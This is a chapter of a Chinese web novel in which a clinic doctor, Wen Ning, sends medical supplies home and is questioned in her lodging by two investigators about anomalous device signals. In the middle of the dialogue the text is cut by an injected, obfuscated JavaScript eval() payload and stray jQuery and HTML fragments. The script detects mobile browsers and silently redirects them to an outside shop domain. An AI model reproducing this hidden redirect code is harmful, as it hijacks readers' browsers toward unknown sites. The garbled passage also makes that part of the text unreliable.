闻宁没有再打开检测仪,她目前能做的除了不应答,就只剩下关灯睡觉,反而比惊醒前睡得更踏实。

    早上六点五十三分,闻宁醒来。检测仪从01:07以后没有留下第二条尖峰,右臂温度也降回了平时的范围。她洗漱完,把桌上的东西重新装包。

    高稳定冷却材料、探针和自己的备用接驳片放进工具包。神经封闭剂、接口消炎材料、诊所常用的一次性接驳片,还有老陶要的过滤片,被留在桌子另一边。

    两堆东西分开后,房间里一下空出不少位置。

    闻宁检查过每一件货物的封口,又用原来的包装重新扎好。她没有在包裹上写解释,只把灰栈地下诊所的地址抄了一遍。

    七点多,北岔货运点刚开门柜台前已经排着几个人。有人寄工具,有人托运两箱晒干的菌菇。闻宁等到自己,把包裹放上秤。

    工作人员看了眼地址:“灰栈能送,今天先回白砾,再从白砾转。快的话明天,慢的话后天。”

    闻宁表示没问题,工作人员打开货物申报页:“里面是什么?”

    闻宁逐项报出名称和数量。消炎材料、一次性接驳片、过滤片,全是正常货物,没有需要隐藏的东西。

    对方录完信息,抬头问:“还要给收货人留话吗?”

    闻宁想了一下:“过滤片是他的,别放进诊所药柜。”

    工作人员等了两秒,见她没有别的话,便把这一句录了进去。

    包裹封好后被搬上传送带。它沿着滚轴进了后面的货仓,很快被其他箱子挡住。

    闻宁付完运费,拿走托运凭证。几公斤药品先替她走上了回灰栈的路。等包裹抵达,镇上的人自然会知道,闻医生和这批东西没有一起回来。

    离开货运点后,闻宁在路边拆了一份压缩口粮填了肚子。北岔的早班车正往轨道区送人,路口隔几分钟便放行一批。没人认识她,也没人关心她原本应该去哪里。

    她可以继续往别处走,问题是去哪儿。

    白砾不能久留,灰栈也不再回去。地图上剩下的地方很多,她对那些地方的供电、医疗条件和检查方式却只知道名字。继续赶路会增加新的交通记录,也会重新暴露在不稳定的各种信号里。

    北岔至少有稳定供电,有她能买到的冷却材料。她的S1身份可以合法停留,昨夜的基础扫描也没有发现问题。

    闻宁回到短住点,又交了一天房费。

    老板接过身份卡,在登记里延长时间:“还是原来的房间?”

    “嗯。”

    “明天这个点以前退房。多住要再登记。”

    “知道了。”

    闻宁回到房间,把工具包放下。她没有决定下一站,也没有急着给自己找工作。她在等昨夜的异常会不会再来。

    上午九点多,检测仪始终没有动静。

    闻宁重新翻开记录本。

    灰栈的旧电话,白砾的旧诊断设备,北岔的离线检测仪。

    三个地方不同,三台设备也不一样。旧电话负责声音,诊断设备读取患者接口,她自己的检测仪记录右臂活动。她以前一直在比较地点。灰栈、白砾、北岔,究竟是信号覆盖得太远,还是某件货物沿着路线移动,还是说就是她的异常,让她附近的设备接二连三地出问题。

    房间外一直有各种各样嘈杂的声音,敲门声响起时,声音不重,她还以为自己听错了。等了一会,外面的人没有催,也没有报她的名字,不像是工作人员。

    但是谁会来这里找她?

    闻宁合上记录本,先看了一眼桌边的检测仪。屏幕还是暗的。她紧了紧腿上的工具袋,这才走到门后。

    “谁?”

    “九队。”门外的人声音很低,很自然,完全不觉得他们到这里来找她是一件多惊悚的事情。

    闻宁的手停在门锁上,她听出来了,是那个一直在自己行动的男人。

    她没有告诉九队自己住在哪里。昨天进北岔时,她用的是自己的身份,客运、临检和短住点都留下了记录。九队如果想查,找到这里并不困难。

    闻宁打开门,没有完全让开。

    沈拓站在外面,身后是陈烁。两个人都没带其他队员,也没有摆出要检查房间的意思。陈烁先打了招呼,没有多寒暄,开口很直接:“有件事需要你帮忙确认。”

    闻宁看了看走廊两端,早上的住客大多已经出门,只有楼下传来搬运东西的声音。她让开门口,陈烁停在桌旁,把一块薄薄的电子记录板放下。

    “我们在查物流记录的时候注意到了你的名字。你昨天从灰栈到了白砾,又从白砾来了北岔。好巧,刚好和我们走了一样的路。”

    闻宁没有接话,只是在思考他们为什么也会走这个路线。

    陈烁看了一眼旁边环顾着这个小房间的沈拓,他没有一点想要接话过去的意思,明明提到顺着记录过来找闻宁的人是他。

    陈烁只好自己继续说:”灰栈镇的事情还没有结束,刚好你是亲历的知情人士,所以过来找你了解点事情。“

    闻宁见沈拓已经盯着床边的两张椅子,点点头:”你们先坐。“她自己坐回到床上。

    沈拓坐下来翘起了二郎腿,似乎对她放在床边的高稳定冷却材料很感兴趣,陈烁心里骂了他一句鬼东西,虽然这个诊所医生确实刚好走了和他们一样的路线,但人家的补货记录他们也查过了,确实都对得上,犯不着一大早这么兴师动众地让他这个异常技术调查处首席调查官亲自出马来堵人。

    陈烁等了几秒,只好自己继续问:“你离开灰栈,是因为诊所缺东西?”

    闻宁很配合:“嗯。”

    “什么时候决定的?”

    “事情发生之后,那天晚上消耗太大。”

    陈烁在记录板上点了两下,灰栈发生的事情九队已经记录过一次,他们甚至都已经和灰栈镇的人联系过,确定了闻宁这次出门的目的确实是补货,这次显然只想补上她离镇以后的行程:“为什么没有按原定行程直接从白砾回灰栈?反而来了北岔?”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863327|212112||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    闻宁大大方方地告诉她:“白砾缺高稳定冷却材料,来北岔是最安全快速的选择。”

    这些答案都能从采购单、货运登记和客运记录里得到验证,她没有必要隐瞒。闻宁说完,发现沈拓的目光落到她右臂上,她没有任何多余的动作。

    陈烁继续问:“你在白砾停了多久?”

    闻宁报了大概的时间。

    “那边有没有再出现过类似灰栈的情况?”

    房间里安静了一瞬。

    这次闻宁没有立刻回答。

    陈烁问的是“有没有”,不是“发生了什么”。听起来像是在确认她离开灰栈后是否还受影响,也可以解释为对重要接触者进行后续观察。

    但他们现在人在北岔。

    闻宁从灰栈离开时,九队没有拦她,也没有派人跟着。要补问几句话,完全可以通过灰栈管理点或者北岔的公共联络系统,不需要队长再带一个人亲自找上门。

    沈拓没有再看屋里的其他东西,也没有催。但闻宁感觉到这个小房子里的气氛越来越紧张,大部分是来源于这个男人。

    陈烁刚才说,他们走了同一条路,灰栈,白砾,北岔。

    “有。”闻宁的思路慢慢变清晰。

    陈烁一滞,手指停在记录板上:“具体什么情况?”

    “我补货的维修铺里等货时,一台旧诊断设备自己亮了一下。”闻宁和她对视。

    “哪个维修铺?”陈烁记得调查记录上显示她去过两个地方补货,她要问清楚之后立刻让人去拿到那台诊断设备,“你怎么能确定不是正常接入?”

    闻宁笑了笑:“第一家,确实只是一个异常握手,设备当时没有联网,但我的直觉告诉我可能和灰栈镇的事情有关,所以才决定必须要买到高稳定冷却材料再回去,做好万全的打算。“

    “直觉?”沈拓不明所以地重复了一句,和闻宁对视的时候似笑非笑,“闻医生的直觉确实挺准的,灰栈镇的不少人都这么说。”

    闻宁点头:“运气是还不错,没出过什么大事。”

    陈烁见沈拓又不说话了,只好自己问白砾那台设备是什么型号,异常以后有没有再次启动。

    闻宁只回答她确定的事,旧诊断设备的型号她没有记全,只记得外壳标识。

    陈烁把相关信息录入,随后问:“到北岔以后呢?”

    闻宁知道这个信息对九队也非常关键,白砾的那台设备他们自己去查说不定也能查到点什么,但昨夜那次异常只存在她自己的检测仪里,她不说,就仍然只有自己掌握。

    可她也想知道九队为什么沿着同一条路到了北岔。

    “凌晨出现过一次。”她说,“和白砾的很像。”

    陈烁下意识地看了这个小房间一圈:“具体时间和设备?”

    “你以为它在跟着你?”沈拓突然笑了一下,“这就是你躲在这里不敢回去的原因?”

    闻宁抬眼看他,没有承认,也没有否认,语气平常:“我的东西还没有买完。”